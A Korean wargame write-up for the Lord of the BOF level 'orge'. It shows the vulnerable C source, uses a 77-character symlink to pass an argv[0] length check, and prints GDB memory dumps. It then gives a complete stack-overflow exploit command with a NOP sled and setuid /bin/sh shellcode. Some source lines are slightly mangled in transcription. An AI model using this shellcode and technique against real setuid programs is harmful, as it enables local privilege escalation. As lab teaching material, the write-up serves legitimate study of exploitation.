본문 바로가기

WarGame/LOB

[LOB] darkelf :: 심볼릭 링크를 통한 argv[0] 길이 제한 우회


  • User : darkelf
  • 문제 : orge


orge.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]); // Vulnerability!!!
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
}
cs


이전 문제에서 "here is changed!" 부분이 추가되었습니다. argv[0]의 길이 즉, 실행 파일 경로가 77자리가 되어야 합니다. 실제 실행 파일 경로명은 절대경로로 작성해봤자 20자리를 넘지 못합니다. 따라서 심볼릭 링크를 걸어서 임의의 파일명을 만들어 해당 자리수를 맞춰주면 문제를 해결할 수 있습니다.


Step 1. 이전과 동일하게 GDB를 이용하여 buffer의 크기를 파악하면 40 Byte이고 SFP와 RET가 다음에 각각 4 Byte 만큼 떨어져 있습니다. 항상 먼저 buffer의 크기를 파악하는 이유는 환경에 따라서 dummy값이 추가될 수 있기 때문입니다.


Step 2. 먼저 Setuid가 걸린 파일은 GDB를 이용할 수 없기 때문에 orge 파일을 tmp/ 밑으로 이동시키고 gdb를 실행시키면 실제로 GDB 내에서는 "/home/darkelf/tmp/orge"와 같이 실행됨으로 "/home/darkelf/tmp/"만큼의 길이 값에서 77을 뺀 자리 수 만큼의 파일명을 만들어야 합니다. "/home/darkelf/tmp/"가 18자리 임으로 59자리의 A문자로 이뤄진 링크 파일을 생성합니다.


1
2
3
4
5
[darkelf@localhost tmp]$ ln -s orge `python -c 'print "A"*59'`
 
[darkelf@localhost tmp]$ ls -l
total 24
lrwxrwxrwx    1 darkelf  darkelf         4 Apr  5 00:20 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> orge
cs


Step 3. 나머지는 이전 문제와 동일합니다. GDB를 이용하여 NOP 코드와 shellcode가 위치할 argv[2]의 주소 값을 찾습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) b *0x8048618
Breakpoint 1 at 0x8048618
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100'`
Starting program: /home/darkelf/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100'`
 
Breakpoint 1, 0x8048618 in main ()
(gdb) x/40x $edx
0xbffffbce:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbde:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbee:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbfe:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc0e:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc1e:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc2e:     0x90909090      0x00000000      0x00000000      0x00000000
0xbffffc3e:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc4e:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc5e:     0x00000000      0x00000000      0x00000000      0x00000000
cs


Step 4. 실제 실행은 tmp/가 아니라 darkelf/ 밑에서 ./AAAA... 와 같이 실행시킬 것이므로 darkefl/ 밑에 orge 파일을 77자리에서 "./" 자리수인 2만큼을 뺀 75자리의 A문자로 이루어진 링크 파일을 생성합니다.


1
2
3
4
5
[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*75'`
 
[darkelf@localhost darkelf]$ ls -l
total 24
lrwxrwxrwx    1 darkelf  darkelf         4 Apr  5 00:20 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> orge
cs


Step 5. 이제 다음과 같은 payload를 만들 수 있습니다. Step 3에서 찾은 NOP코드 사이의 주소값을 RET에 넣으면 NOP 코드를 지나 shellcode를 실행 시킬 수 있습니다.


1
2
3
[darkelf@localhost darkelf]$ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*44+"\xee\xfb\xff\xbf"'` 
`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c
\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
cs



※ 참고 

만약 "Segmentation Fault" 에러가 출력된다면 주소 값이 잘못 지정된 것일 확률이 높으므로 core 파일을 이용하여 NOP 코드가 있는 주소 값을 다시 확인해야 합니다. core 파일이 생기지 않는 다면 "ulimit -a " 명령어를 통해서 core file size를 확인해야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
[darkelf@localhost darkelf]$ ulimit -a
core file size (blocks)     unlimited
data seg size (kbytes)      unlimited
file size (blocks)          unlimited
max locked memory (kbytes)  unlimited
max memory size (kbytes)    unlimited
open files                  1024
pipe size (512 bytes)       8
stack size (kbytes)         8192
cpu time (seconds)          unlimited
max user processes          2048
virtual memory (kbytes)     unlimited
cs


core file size가 0으로 나올 경우 core 파일이 생성되지 않으며 "ulimit -c unlimited" 명령어를 통해서 core file size를 unlimited로 변경할 수 있습니다. root로 변경을 해야 하며, /etc/profile에서 "ulimit -c 0" 부분을 "ulimit -c unlimited"로 수정하면 유저로 로그인 시 항상 core file size를 unlimited로 만들 수 있습니다.